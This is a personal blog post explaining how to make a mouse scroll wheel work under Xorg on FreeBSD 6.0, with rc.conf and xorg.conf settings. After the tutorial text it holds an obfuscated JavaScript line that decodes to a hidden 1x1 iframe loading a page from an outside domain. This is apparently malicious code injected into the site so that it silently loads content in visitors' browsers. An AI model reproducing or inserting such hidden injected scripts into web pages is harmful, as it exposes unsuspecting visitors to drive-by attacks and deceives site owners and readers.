Xorg

After getting Blackbox up and running and installing Firefox I came to realize my MX700 mouse wheel was not responding. I rarely actually touch the scrollbars anymore these days and having to do so while working in X is not an option for me so I immediately set out to fix this.

After a lengthy google and hack session yesterday I still wasn’t much further and I decided to give up for the day. Today I tried again and got the thing working in about ten minutes after finding and reading this. Here’s a round-up of my current settings. The mouse and wheel are now working excellent.

Note: I’m running FreeBSD 6.0 (RELEASE) with Xorg 6.8.2. Sysinstall already configured moused to run for /dev/ums0.

1. In /etc/rc.conf I had to add one line:

moused_flags="-z 4"

Apperently this is some kind of modifying factor. I didn’t bother too lookup the specifics but I also tried without this line and it doesn’t work and at this moment that’s all I need to now…

2. In xorg.conf I had to modify the “InputDevice” section for the mouse:

[code]Section “InputDevice”
Identifier “Mouse0”
Driver “mouse”
Option “Protocol” “auto”
Option “Device” “/dev/sysmouse”
Option “ZAxisMapping” “6 7”
Option “Emulate3Buttons” “no”
EndSection
[/code]

What really seemed to do the trick for me is the “ZAxisMapping” option but I’m not sure why I have the “Device” option pointing to “/dev/sysmouse”. Maybe it would also work with “/dev/ums0” but again… I couldn’t yet be bothered to dig in deeper.

document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))

Leave a comment